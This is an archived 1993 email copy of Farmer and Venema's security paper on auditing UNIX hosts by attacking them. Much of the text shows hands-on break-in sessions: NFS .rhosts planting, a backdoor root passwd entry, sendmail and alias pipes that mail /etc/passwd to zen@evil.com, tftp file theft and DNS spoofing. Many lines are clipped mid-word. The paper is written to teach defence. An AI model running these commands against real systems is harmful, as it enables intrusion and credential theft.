from com com by com with

Found at: 0x1bi.net:70/textfiles/file?hacking/zen.hac

>From annaliza@netcom.com  Ukn Dec  1 23:30:29 1993
Received: from mail.netcom.com (netcom3.netcom.com []) by kaiwan.kaiwan.com (8.6.4/8.6.4) with ESMTP
	  id XAA29728 for ; Wed, 1 Dec 1993 23:30:04 -0800
	  *** Knowledge Added Information Wide Area Network ***
Received: from localhost by mail.netcom.com (8.6.4/SMI-4.1/Netcom)
	id XAA16337; Wed, 1 Dec 1993 23:30:12 -0800
From: annaliza@netcom.com (Annaliza T. Orquamada)
Message-Id: <199312020730.XAA16337@mail.netcom.com>
Subject: I posted it.... (fwd)
To: budds@kaiwan.com
Date: Wed, 1 Dec 93 23:30:12 PST
Status: RO
Forwarded message:
>From Dan.Farmer@Corp.Sun.COM Wed Dec  1 20:03:15 1993
Message-Id: <9312020405.AA01850@death.corp.sun.com.corp.sun.com>
To: annaliza@netcom.com
Subject: I posted it....
Date: Wed, 01 Dec 93 20:05:23 -0800
From: Dan 
This is absolutely the real thing :-)
_Improving the Security of Your Site by Breaking Into it_
    Dan Farmer              Wietse Venema
    Sun Microsystems        Eindhoven University of Technology
    zen@sun.com             wietse@wzv.win.tue.nl
Every day, all over the world, computer networks and hosts are being
broken into.  The level of sophistication of these attacks varies
to weak passwords, there are still a large number of intrusions that use
more advanced techniques to break in.  Less is known about the latter
types of break-ins, because by their very nature they are much harder to
CERT.  SRI.  The Nic.  NCSC.  RSA.  NASA.  MIT.  Uunet.  Berkeley.
on the Internet (and many that isn't) seems to be fairly easy game.  Are
these targets unusual?  What happened?
Fade to...
A young boy, with greasy blonde hair, sitting in a dark room.  The room
s illuminated only by the luminescense of the C64's 40 character
the weary system cracker telnets to the next faceless ".mil" site on his
fail.  No matter.  He has all night... he pencils the host off of his
list, and tiredly types in the next potential victim...
This seems to be the popular image of a system cracker.  Young,
nexperienced, and possessing vast quantities of time to waste, to get
nto just one more system.  However, there is a far more dangerous type
of system cracker out there.  One who knows the ins and outs of the
latest security auditing and cracking tools, who can modify them for
only reads about the latest security holes, but also personally
trail.  The uebercracker is here.
Why "uebercracker"? The idea is stolen, obviously, from Nietzsche's
uebermensch, or, literally translated into English, "over man."
Nietzsche used the term not to refer to a comic book superman, but
nstead a man who had gone beyond the incompetence, pettiness, and
cracker who has gone beyond simple cookbook methods of breaking into
acts of violence.  Targets are not arbitrary -- there is a purpose,
nformation, or a challenge to strike a major or prestigious site or
net.personality.  An uebercracker is hard to detect, harder to stop, and
through the eyes of a potential intruder, and show _why_ it is one.  We
valuable tools in the search for weak points of a system, even when
these services are operating exactly as they are intended to.
this paper outlines various mechanisms that crackers have actually used
to obtain access to systems and, in addition, some techniques we either
n friendly/authorized environments.
Our motivation for writing this paper is that system administrators are
often unaware of the dangers presented by anything beyond the most
trivial attacks.  While it is widely known that the proper level of
lack the resources to assess what level of host and network security is
adequate.  By showing what intruders can do to gain access to a remote
(possibly non-interactive) shell process on a UNIX host.  Once this is
achieved, the details of obtaining root privilege are beyond the scope
of this work -- we consider them too site-dependent and, in many cases,
too trivial to merit much discussion.
We want to stress that we will not merely run down a list of bugs or
to exploit.  The purpose of this paper is to try to get the reader to
look at her or his system in a new way -- one that will hopefully afford
compromised, and how.
We would also like to reiterate to the reader that the purpose of this
to break into other people's systems.  The intrusion techniques we
llustrate here will often leave traces in your system auditing logs --
t might be constructive to examine them after trying some of these
attacks out, to see what a real attack might look like.  Certainly other
activities if you decide to use their hosts for security testing without
advance authorization; indeed, it is quite possible that legal action
may be pursued against you if they perceive it as an attack.
There are four main parts to the paper.  The first part is the
ntroduction and overview.  The second part attempts to give the reader
a feel for what it is like to be an intruder and how to go from knowing
nothing about a system to compromising its security.  This section goes
over actual techniques to gain information and entrance and covers basic
basic network services (ftp, mail, tftp, etc.)  It also discusses
common bugs and configuration problems that are somewhat more OS or
attacks are also covered here.
The third section deals with trust: how the security of one system
The fourth section covers the basic steps that a system administrator
may take to protect her or his system.  Most of the methods presented
one of our goals is to show just how dangerous it can be to ignore basic
Case studies, pointers to security-related information, and software are
While exploring the methods and strategies discussed in this paper we we
NFS, ftp and tftp, rexd, and other services.  This information includes
the presence of various network information services as well as
configured network services, well-known bugs in system or network
utilities, or poor or ignorant policy decisions.  It then can either
that we discuss in the paper, it has succeeded with ominous regularity
n finding serious holes in the security of Internet sites.  It will be
covers its salient features.
Note that it isn't possible to cover all possible methods of breaking
nto systems in a single paper.  Indeed, we won't cover two of the most
effective methods of breaking into hosts: social engineering and
etc.) can provide a fertile ground for exploitation, we simply don't
know many methods that are used to break into remote systems.  Many
using some of the more interesting methods to exploit windowing systems
effectively (although being able to monitor the victim's keyboard is
often sufficient to capture passwords).  Finally, while worms, viruses,
trojan horses, and other malware are very interesting, they are not
common (on UNIX systems) and probably will use similar techniques to the
ones we describe in this paper as individual parts to their attack
Gaining Information
Let us assume that you are the head system administrator of Victim
your machines, you ask a friendly system administrator from a nearby
you can look at your own system's security from the outside.
What should you do?  First, try to gather information about your
(target) host.  There is a wealth of network services to look at:
finger, showmount, and rpcinfo are good starting points.  But don't stop
there -- you should also utilize DNS, whois, sendmail (smtp), ftp, uucp,
and as many other services as you can find.  There are so many methods
and techniques that space precludes us from showing all of them, but we
-- information is power -- but for now we'll examine only our intended
To start out, you look at what the ubiquitous finger command shows you
(assume it is 6pm, Nov 6, 1993):
 victim % finger @victim.com
 Login       Name             TTY Idle     When    Where
 zen      Dr.  Fubar           co   1d  Wed 08:00   death.com
Good!  A single idle user -- it is likely that no one will notice if you
actually manage to break in.
Now you try more tactics.  As every finger devotee knows, fingering "@",
"0", and "", as well as common names, such as root, bin, ftp, system,
that information is depends on the version of finger that your target is
To add to this information, you can use rusers (in particular with the
-l flag) to get useful information on logged-in users.
Trying these commands on victim.com reveals the following information,
 Login   Home-dir    Shell      Last login, from where
 -----   --------    -----      ----------------------
 root    /           /bin/sh    Fri Nov 5 07:42 on ttyp1 from big.victim.com
 bin     /bin                   Never logged in
 nobody  /                      Tue Jun 15 08:57 on ttyp2 from server.victim.co
 daemon  /                      Tue Mar 23 12:14 on ttyp0 from big.victim.com
 sync    /           /bin/sync  Tue Mar 23 12:14 on ttyp0 from big.victim.com
 zen     /home/zen   /bin/bash  On since Wed Nov  6 on ttyp3 from death.com
 sam     /home/sam   /bin/csh   Wed Nov  5 05:33 on ttyp3 from evil.com
 guest   /export/foo /bin/sh    Never logged in
 ftp     /home/ftp              Never logged in
Both our experiments with SATAN and watching system crackers at work
because it is so useful for investigating a potential target.  However,
much of this information is useful only when used in conjunction with
other data.
For instance, running showmount on your target reveals:
 evil % showmount -e victim.com
 export list for victim.com:
 /export                            (everyone)
 /var                               (everyone)
 /usr                               easy
 /export/exec/kvm/sun4c.sunos.4.1.3 easy
 /export/root/easy                  easy
 /export/swap/easy                  easy
Note that /export/foo is exported to the world; also note that this is
user guest's home directory.  Time for your first break-in!  In this
case, you'll mount the home directory of user "guest."  Since you don't
modify files on an NFS mounted filesystem, you create a "guest" account
n your local password file.  As user guest you can put an .rhosts entry
n the remote guest home directory, which will allow you to login to the
target machine without having to supply a password.
 evil # mount victim.com:/export/foo /foo
 evil # cd /foo
 evil # ls -lag
 total 3
    1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
    1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
    1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
 evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
 evil # ls -lag
 total 3
    1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
    1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
    1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
 evil # su guest
 evil % echo victim.com >> guest/.rhosts
 evil % rlogin victim.com
	 Welcome to victim.com!
 victim %
command with a trojan horse that executes any command of your choice.
The next user to execute that command would execute your program.
We suggest that filesystems be exported:
o   Read/write only to specific, trusted clients.
o   Read-only, where possible (data or programs can often be
    exported in this manner.)
various vendor's machines) or has the netgroups bug (CERT advisory
file can rlogin to the target without a password.  And since the user
"bin" often owns key files and directories, your next attack is to try
to log in to the target host and modify the password file to let you
 evil % whoami
 evil % rsh victim.com csh -i
 Warning: no access to tty; thus no job control in this shell...
 victim %  ls -ldg /etc
 drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc
 victim %  cd /etc
 victim %  mv passwd pw.old
 victim %  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
 victim % ^D
 evil % rlogin victim.com -l toor
	 Welcome to victim.com!
 victim #
A few notes about the method used above; "rsh victim.com csh -i" is used
to initially get onto the system because it doesn't leave any traces in
the wtmp or utmp system auditing files, making the rsh invisible for
finger and who.  The remote shell isn't attached to a pseudo-terminal,
The COPS security auditing tool (see appendix D) will report key files
or directories that are writable to accounts other than the
file permission problems. On many systems, rsh probes as shown above,
even when successful, would remain completely unnoticed; the tcp wrapper
(appendix D), which logs incoming connections, can help to expose such
What now?  Have you uncovered all the holes on your target system?  Not
by a long shot.  Going back to the finger results on your target, you
notice that it has an "ftp" account, which usually means that anonymous
ftp is enabled.  Anonymous ftp can be an easy way to get access, as it
s often misconfigured.  For example, the target may have a complete
copy of the /etc/passwd file in the anonymous ftp ~ftp/etc directory
nstead of a stripped down version.  In this example, though, you see
that the latter doesn't seem to be true (how can you tell without
actually examining the file?)  However, the home directory of ftp on
victim.com is writable.  This allows you to remotely execute a command
-- in this case, mailing the password file back to yourself -- by the
mail is sent to the ftp account. This is the same mechanism of piping
mail to a program that the "vacation" program uses to automatically
 evil % cat forward_sucker_file
 "|/bin/mail zen@evil.com < /etc/passwd"
 evil % ftp victim.com
 Connected to victim.com
 220 victim FTP server ready.
 Name (victim.com:zen): ftp
 331 Guest login ok, send ident as password.
 230 Guest login ok, access restrictions apply.
 ftp> ls -lga
 200 PORT command successful.
 150 ASCII data connection for /bin/ls (,1129) (0 bytes).
 total 5
 drwxr-xr-x  4 101      1             512 Jun 20  1991 .
 drwxr-xr-x  4 101      1             512 Jun 20  1991 ..
 drwxr-xr-x  2 0        1             512 Jun 20  1991 bin
 drwxr-xr-x  2 0        1             512 Jun 20  1991 etc
 drwxr-xr-x  3 101      1             512 Aug 22  1991 pub
 226 ASCII Transfer complete.
 242 bytes received in 0.066 seconds (3.6 Kbytes/s)
 ftp> put forward_sucker_file .forward
 43 bytes sent in 0.0015 seconds (28 Kbytes/s)
 ftp> quit
 evil % echo test | mail ftp@victim.com
Now you simply wait for the password file to be sent back to you.
The security auditing tool COPS will check your anonymous ftp setup; see
the man page for ftpd, the documentation/code for COPS, or CERT advisory
Vulnerabilities in ftp are often a matter of incorrect ownership or
that ~ftp and all "system" directories and files below ~ftp are owned by
While looking at ftp, you can check for an older bug that was once
 % ftp -n
 ftp> open victim.com
 Connected to victim.com
 220 victim.com FTP server ready.
 ftp> quote user ftp
 331 Guest login ok, send ident as password.
 ftp> quote cwd ~root
 530 Please login with USER and PASS.
 ftp> quote pass ftp
 230 Guest login ok, access restrictions apply.
 ftp> ls -al / (or whatever)
bug, you should definitely get an update to your ftpd daemon, either
from your vendor or (via anon ftp) from ftp.uu.net.
The wuarchive ftpd, a popular replacement ftp daemon put out by the
Washington University in Saint Louis, had almost the same problem.  If
your wuarchive ftpd pre-dates April 8, 1993, you should replace it by a
more recent version.
Finally, there is a program vaguely similar to ftp -- tftp, or the
trivial file transfer program.  This daemon doesn't require any password
for authentication; if a host provides tftp without restricting the
access (usually via some secure flag set in the inetd.conf file), an
attacker can read and write files anywhere on the system. In the
example, you get the remote password file and place it in your local
/tmp directory:
 evil % tftp
 tftp> connect victim.com
 tftp> get /etc/passwd /tmp/passwd.victim
 tftp> quit
For security's sake, tftp should not be run; if tftp is necessary, use
the secure option/flag to restrict access to a directory that has no
valuable information, or run it under the control of a chroot wrapper
a NIS server or slave, if a diskless workstation is around, if it is
other unusual programs (auditing or security related).  For instance,
 evil % rpcinfo -p victim.com    [output trimmed for brevity's sake]
    program vers proto   port
     100004    2   tcp    673  ypserv
     100005    1   udp    721  mountd
     100003    2   udp   2049  nfs
     100026    1   udp    733  bootparam
     100017    1   tcp   1274  rexd
first of which is that it is an NIS server.  It is perhaps not widely
known, but once you know the NIS domainname of a server, you can get any
of its NIS maps by a simple rpc query, even when you are outside the
can be found in the comp.sources.misc archives on ftp.uu.net).  In
addition, very much like easily guessed passwords, many systems use
easily guessed NIS domainnames.  Trying to guess the NIS domainname is
often very fruitful. Good candidates are the fully and partially
qualified hostname (e.g.  "victim" and "victim.com"), the organization
name, netgroup names in "showmount" output, and so on.  If you wanted to
 evil % ypwhich -d victim victim.com
 Domain victim not bound.
This was an unsuccessful attempt; if you had guessed correctly it would
note from the NFS section that victim.com is exporting the "/var"
and look in the "yp" subdirectory -- among other things you will see
another subdirectory that contains the domainname of the target.
 evil # mount victim.com:/var /foo
 evil # cd /foo
 evil # /bin/ls -alg /foo/yp
 total 17
    1 drwxr-sr-x  4 root     staff         512 Jul 12 14:22 .
    1 drwxr-sr-x 11 root     staff         512 Jun 29 10:54 ..
   11 -rwxr-xr-x  1 root     staff       10993 Apr 22 11:56 Makefile
    1 drwxr-sr-x  2 root     staff         512 Apr 22 11:20 binding
    2 drwxr-sr-x  2 root     staff        1536 Jul 12 14:22 foo_bar
names as well as internal host lists, not to mention passwords for
Appendix C details the results of a case study on NIS password files.
You note that the rpcinfo output also showed that victim.com runs rexd.
Like the rsh daemon, rexd processes requests of the form "please execute
this command as that user". Unlike rshd, however, rexd does not care if
the client host is in the hosts.equiv or .rhost files. Normally the rexd
client program is the "on" command, but it only takes a short C program
to send arbitrary client host and userid information to the rexd server;
s similar to having no passwords at all: all security is in the client,
not in the server where it should be. Rexd security can be improved
While looking at the output from rpcinfo, you observe that victim.com
also seems to be a server for diskless workstations. This is evidenced
by the presence of the bootparam service, which provides information to
the diskless clients for booting.  If you ask nicely, using
BOOTPARAMPROC_WHOAMI and provide the address of a client, you can get
ts NIS domainname.  This can be very useful when combined with the fact
that you can get arbitrary NIS maps (such as the password file) when you
know the NIS domainname.  Here is a sample code snippet to do just that
(bootparam is part of SATAN.)
    char   *server;
    struct bp_whoami_arg arg;           /* query */
    struct bp_whoami_res res;           /* reply */
    /* initializations omitted... */
            xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);
    printf("%s has nisdomain %s\n", server, res.domain_name);
The showmount output indicated that "easy" is a diskless client of
victim.com, so we use its client address in the BOOTPARAMPROC_WHOAMI
 evil % bootparam victim.com easy.victim.com
 victim.com has nisdomain foo_bar
NIS masters control the mail aliases for the NIS domain in question.
Just like local mail alias files, you can create a mail alias that will
execute commands when mail is sent to it (a once popular example of this
s the "decode" alias which uudecodes mail files sent to it.)  For
nstance, here you create an alias "foo", which mails the password file
back to evil.com by simply mailing any message to it:
 nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases
 nis-master # cd /var/yp
 nis-master # make aliases
 nis-master # echo test | mail -v foo@victim.com
Hopefully attackers won't have control of your NIS master host, but even
more hopefully the lesson is clear -- NIS is normally insecure, but if
an attacker has control of your NIS master, then s/he effectively has
control of the client hosts (e.g. can execute arbitrary commands).
There aren't many effective defenses against NIS attacks; it is an
nsecure service that has almost no authentication between clients and
maps can be forced onto even master servers (e.g., it is possible to
treat an NIS server as a client). This, obviously, would subvert the
entire schema.  If it is absolutely necessary to use NIS, choosing a
clients that are exposed to potential attackers then it is trivial for
an attacker to defeat this simple step by using the bootparam trick to
map is still accessible to any attacker that has root on an attacking
Secure RPC goes a long way to diminish the threat, but it has its own
that the cryptographic methods used within are not very strong.  It has
been rumored that NIS+, Sun's new network information service, fixes
Suns, and thus far has not lived up to the promise of the design.
Finally, using packet filtering (at the very least port 111) or
all can help.
The portmapper only knows about RPC services.  Other network services
can be located with a brute-force method that connects to all network
usually on port 6000, etc.)  SATAN includes a program that scans the
against our target, you see:
 evil % tcpmap victim.com
 port 21: ftp
 port 23: telnet
 port 25: smtp
 port 37: time
 port 79: finger
 port 512: exec
 port 513: login
 port 514: shell
 port 515: printer
 port 6000: (X)
This suggests that victim.com is running X windows.  If not protected
be captured or watched, user keystrokes may be stolen, programs executed
target's windowing system will often "freeze up" for a short period of
time.  One method to determine the vulnerability of an X server is to
connect to it via the XOpenDisplay() function; if the function returns
NULL then you cannot access the victim's display (opendisplay is part of
    char   *hostname;
    if (XOpenDisplay(hostname) == NULL) {
       printf("Cannot open display: %s\n", hostname);
    } else {
       printf("Can open display: %s\n", hostname);
 evil % opendisplay victim.com:0
 Cannot open display: victim.com:0
terminal with the output appearing on your own screen:
 evil % xhost +xvictim.victim.com
 evil % rsh xvictim.victim.com telnet victim.com -display evil.com
filesystem and network utilities, for it can compromise your system as
Next, you examine sendmail.  Sendmail is a very complex program that has
a long history of security problems, including the infamous "wiz"
command (hopefully long since disabled on all machines).  You can often
by looking at the version number returned by sendmail.  This, in turn,
can give you hints as to how vulnerable it might be to any of the
numerous bugs.  In addition, you can see if they run the "decode" alias,
 evil % telnet victim.com 25
 connecting to host victim.com (, port 25
 connection open
 220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
 expn decode
 250 <"|/usr/bin/uudecode">
Running the "decode" alias is a security risk -- it allows potential
attackers to overwrite any file that is writable by the owner of that
alias -- often daemon, but potentially any user.  Consider this piece of
mail -- this will place "evil.com" in user zen's .rhosts file if it is
 evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com
of this is to create a bogus /etc/aliases.pag file that contains an
alias with a command you wish to execute on your target.  This may work
control the system's mail aliases, are writable to the world.
 evil % cat decode
 bin: "| cat /etc/passwd | mail zen@evil.com"
 evil % newaliases -oQ/tmp -oA`pwd`/decode
 evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
 evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
A lot of things can be found out by just asking sendmail if an address
s acceptable (vrfy), or what an address expands to (expn).  When the
finger or rusers services are turned off, vrfy and expn can still be
used to identify user accounts or targets.  Vrfy and expn can also be
used to find out if the user is piping mail through any program that
might be exploited (e.g. vacation, mail sorters, etc.).  It can be a
at the source file srvrsmtp.c, and either delete or change the two lines
n the CmdTab structure that have the strings "vrfy" and "expn".  Sites
also an extremely good idea, since there have probably been more
As a sendmail-sendoff, there are two fairly well known bugs that should
be checked into.  The first was definitely fixed in version 5.59 from
Berkeley; despite the messages below, for versions of sendmail previous
to 5.59, the "evil.com" gets appended, despite the error messages, along
 % cat evil_sendmail
 telnet victim.com 25 << EOSM
 rcpt to: /home/zen/.rhosts
 mail from: zen
 random garbage
 rcpt to: /home/zen/.rhosts
 mail from: zen
 evil % /bin/sh evil_sendmail
 Connected to victim.com
 Escape character is '^]'.
 Connection closed by foreign host.
 evil % rlogin victim.com -l zen
	 Welcome to victim.com!
 victim %
The second hole, fixed only recently, permitted anyone to specify
arbitrary shell commands and/or pathnames for the sender and/or
extensive discussions in mailing lists and usenet news groups led to
UNIX bugs, nearly every vendor's sendmail was vulnerable to the problem,
 evil % telnet victim.com 25
 Connected to victim.com
 Escape character is '^]'.
 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
 mail from: "|/bin/mail zen@evil.com < /etc/passwd"
 250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
 rcpt to: nosuchuser
 550 nosuchuser... User unknown
 354 Enter mail, end with "." on a line by itself
 250 Mail accepted
 Connection closed by foreign host.
 evil %
At the time of writing, version 8.6.4 of sendmail (see Appendix D for
nformation on how to get this) is reportedly the only variant of
For our final topic of vulnerability, we'll digress from the practical
mplications of vulnerabilities here are a bit more subtle and
far-reaching than what we've covered before; in the context of this
(note that any host that allows remote access can be called a server)
can permit a local resource to be used by a client without password
authentication when password authentication is normally required.  In
other words, we arbitrarily limit the discussion to clients in disguise.
There are many ways that a host can trust: .rhosts and hosts.equiv files
that allow access without password verification; window servers that
allow remote systems to use and abuse privileges; export files that
control access via NFS, and more.
Nearly all of these rely on client IP address to hostname conversion to
uses the /etc/hosts file for a direct lookup.  However, today most hosts
use either DNS (the Domain Name Service), NIS, or both for name lookup
a client host connecting to it) and wishes to get the corresponding
client hostname.
Although the concept of how host trust works is well understood by most
the least understood problems we know of on the Internet.  This goes far
beyond the obvious hosts.equiv and rhosts files; NFS, NIS, windowing
concept that well known (to an administrator or user) sites are trusted
n some way.  What is not understood is how networking so tightly binds
Any form of trust can be spoofed, fooled, or subverted, especially when
the authority that gets queried to check the credentials of the client
s either outside of the server's administrative domain, or when the
trust mechanism is based on something that has a weak form of
authentication; both are usually the case.
Obviously, if the host containing the database (either NIS, DNS, or
find out which hosts are trusted by the target.  This task is often
accounts (such as root, etc.) last logged in from.  Going back to our
target, victim.com, you note that root and some other system accounts
logged in from big.victim.com. You change the PTR record for evil.com so
that when you attempt to rlogin in from evil.com to victim.com,
victim.com will attempt to look up your hostname and will find what you     IN      PTR     evil.com
And you change it to:     IN      PTR     big.victim.com
then, depending on how naive victim.com's system software is, victim.com
big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be
able to login without supplying a password.  With NIS, it is a simple
matter of either editing the host database on the NIS master (if this is
controlled by the intruder) or of spoofing or forcing NIS (see
nformation you desire.  Although more complex, interesting, and
coverage of these methods here.
Two methods can be used to prevent such attacks.  The first is the most
trust, you won't be as vulnerable to host spoofing.  The other strategy
s to use cryptographic protocols.  Using the secure RPC protocol (used
n secure NFS, NIS+, etc.) is one method; although it has been "broken"
cryptographically, it still provides better assurance than RPC
authentication schemes that do not use any form of encryption.  Other
Appendix B details the results of an informal survey taken from a
variety of hosts on the Internet.
ammunition to determined system crackers.  But, of course, if security
Rather than reiterating specific advice on what to switch on or off, we
nstead offer some general suggestions:
o  If you cannot turn off the finger service, consider installing a
modified finger daemon.  It is rarely necessary to reveal a user's home
o  Don't run NIS unless it's absolutely necessary.  Use NFS as little
as possible.
o  Never export NFS filesystems unrestricted to the world. Try to
export file systems read-only where possible.
o  Fortify and protect servers (e.g. hosts that provide a service to
other hosts -- NFS, NIS, DNS, whatever.)  Only allow administrative
accounts on these hosts.
o  Examine carefully services offered by inetd and the portmapper.
Eliminate any that aren't explicitly needed.  Use Wietse Venema's inetd
to your host.  This adds immeasurably to the standard UNIX auditing
features, especially with respect to network attacks.  If possible, use
the loghost mechanism of syslog to collect security-related information
on a secure host.
o  Eliminate trust unless there is an absolute need for it.  Trust is
your enemy.
o  Use shadow passwords and a passwd command that disallows poor
o  Keep abreast of current literature (see our suggested reading list and
bibliography at the end of this paper) and security tools; communicate
to others about security problems and incidents.  At minimum, subscribe
to the CERT mailing list and phrack magazine (plus the firewalls mailing
list, if your site is using or thinking about installing a firewall) and
aware of.
o  Install all vendor security patches as soon as possible, on all of
your hosts.  Examine security patch information for other vendors - many
bugs (rdist, sendmail) are common to many UNIX variants.
are ineffective against most of the attacks we discuss here.  We
_not_ a total security solution -- they are part of a larger struggle to
and that of friendly sites, just how effective this set of methods is
for gaining access to a typical (UNIX) Internet host.  Tiring of trying
to type these in all by hand, and desiring to keep our own systems more
check remote hosts for at least some of the problems discussed here.
The typical response, when telling people about our paper and our tool
you're not going to give it out to everybody.  But you since you can
trust me, may I have a copy of it?"
We never set out to create a cookbook or toolkit of methods and programs
on how to break into systems -- instead, we saw that these same methods
normally wasn't available to those outside of the underworld, we can
ncrease security by raising awareness.  Trying to restrict access to
"dangerous" security information has never seemed to be a very effective
method for increasing security; indeed, the opposite appears to be the
case, since the system crackers have shown little reticence to share
their information with each other.
While it is almost certain that some of the information presented here
s new material to (aspiring) system crackers, and that some will use it
to gain unauthorized entrance onto hosts, the evidence presented even by
our ad hoc tests shows that there is a much larger number of insecure
they aren't stupid or slow, they simply are unable to spend the very
little free time that they have to explore all of the security issues
that pertain to their systems.  Combine that with no easy access to this
broken into, and further, to explain _why_ certain steps should be taken
to secure a system.  Knowing why something is a problem is, in our
opinion, the real key to learning and to making an informed, intelligent
choice as to what security really means for your site.
Appendix A:
SATAN (Security Analysis Tool for Auditing Networks)
Originally conceived some years ago, SATAN is actually the prototype of
a much larger and more comprehensive vision of a security tool.  In its
current incarnation, SATAN remotely probes and reports various bugs and
target(s).  It then processes the data with a crude filter and what
might be termed an expert system to generate the final security
analysis.  While not particularly fast, it is extremely modular and easy
to modify.
SATAN consists of several sub-programs, each of which is an executable
file (perl, shell, compiled C binary, whatever) that tests a host for a
the driver program will automatically execute it.  The driver generates
a set of targets (using DNS and a fast version of ping together to get
"live" targets), and then executes each of the programs over each of the
targets.  A data filtering/interpreting program then analyzes the
output, and lastly a reporting program digests everything into a more
The entire package, including source code and documentation, will be
made freely available to the public, via anonymous ftp and by posting it
to one of the numerous source code groups on the Usenet.
Appendix B:
An informal survey conducted on about a dozen Internet sites
(educational, military, and commercial, with over 200 hosts and 40000
accounts) revealed that on the average, close to 10 percent of a site's
accounts had .rhosts files.  These files averaged six trusted hosts
each; however, it was not uncommon to have well over one hundred entries
n an account's .rhosts file, and on a few occasions, the number was
over five hundred!  (This is not a record one should be proud of
owning.)  In addition, _every_ site directly on the internet (one site
thus, the security of the site was not under the system administrators
lower percentage of users with .rhosts files, but the size of .rhosts
files increased, as well as the number of trusted off-site hosts.
Although it was very difficult to verify how many of the entries were
valid, with such hostnames such as "Makefile", "Message-Id:", and
"^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a few wildcard entries, we
question the wisdom of putting a site's security in the hands of its
users.  Many users (especially the ones with larger .rhosts files)
attempted to put shell-style comments in their .rhosts files, which most
UNIX systems attempt to resolve as valid host names.  Unfortunately, an
attacker can then use the DNS and NIS hostname spoofing techniques
You might think that these sites were not typical, and, as a matter of
fact, they weren't.  Virtually all of the administrators knew a great
Appendix C:
After receiving mail from a site that had been broken into from one of
our systems, an investigation was started.  In time, we found that the
ntruder was working from a list of ".com" (commercial) sites, looking
for hosts with easy-to steal password files.  In this case,
"easy-to-steal" referred to sites with a guessable NIS domainname and an
accessible NIS server.  Not knowing how far the intruder had gotten, it
looked like a good idea to warn the sites that were in fact vulnerable
to password file theft.  Of the 656 hosts in the intruder's hit list, 24
third of these files contained at least one password-less account with
an interactive shell.  With a grand total of 1594 password-file entries,
a ten-minute run of a publically-available password cracker (Crack)
minutes; and a root password was found in just over an hour. The result
after a few days of cracking: five root passwords found, 19 out of 24
Appendix D:
How to get some free security resources on the Internet
Mailing lists:
o  The CERT (Computer Emergency Response Team) advisory mailing list.
Send e-mail to cert@cert.org, and ask to be placed on their mailing
o  The Phrack newsletter.  Send an e-mail message to
o  The Firewalls mailing list.  Send the following line to
    subscribe firewalls
o  Computer Underground Digest.  Send e-mail to
tk0jut2@mvs.cso.niu.edu, asking to be placed on the list.
Free Software:
COPS (Computer Oracle and Password System) is available via anonymous
ftp from archive.cis.ohio-state.edu, in pub/cops/1.04+.
The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl,
n pub/security.
The latest version of berkeley sendmail is available via anonymous ftp
from ftp.cs.berkeley.edu, in ucb/sendmail.
Sources for ftpd and many other network utilities can be found in
ftp.uu.net, in packages/bsd-sources.
Source for ISS (Internet Security Scanner), a tool that remotely scans
for various network vulnerabilities, is available via anonymous ftp from
ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.
Securelib is available via anonymous ftp from ftp.uu.net, in
Baldwin, Robert W., Rule Based Analysis of Computer Security,
Massachusetts Institute of Technology, June 1987.
Bellovin, Steve, Using the Domain Name System for System Break-ins,
Massachusetts Institute of Technology, X Window System Protocol,
Version 11, 1990.
Shimomura, Tsutomu, private communication.
Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.
Suggested reading:
Bellovin, Steve -- "Security Problms in the TCP/IP Protocol Suite", 
Computer Communication Review 19 (2), 1989; a comment by Stephen
Kent appears in volume 19 (3), 1989.
Garfinkle, Simson and Spafford, Gene, "Practical UNIX Security",
O'Reilly and Associates, Inc., 1992.
Hess, David, Safford, David, and Pooch, Udo, "A UNIX Network Protocol
Study: Network Information Service", Computer Communication Review
Four, Issue Forty-Three, File 14 of 27.
Ranum, Marcus, "Firewalls" internet electronic mailing list, Sept
Schuba, Christoph, "Addressing Weaknesses in the Domain Name System
Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM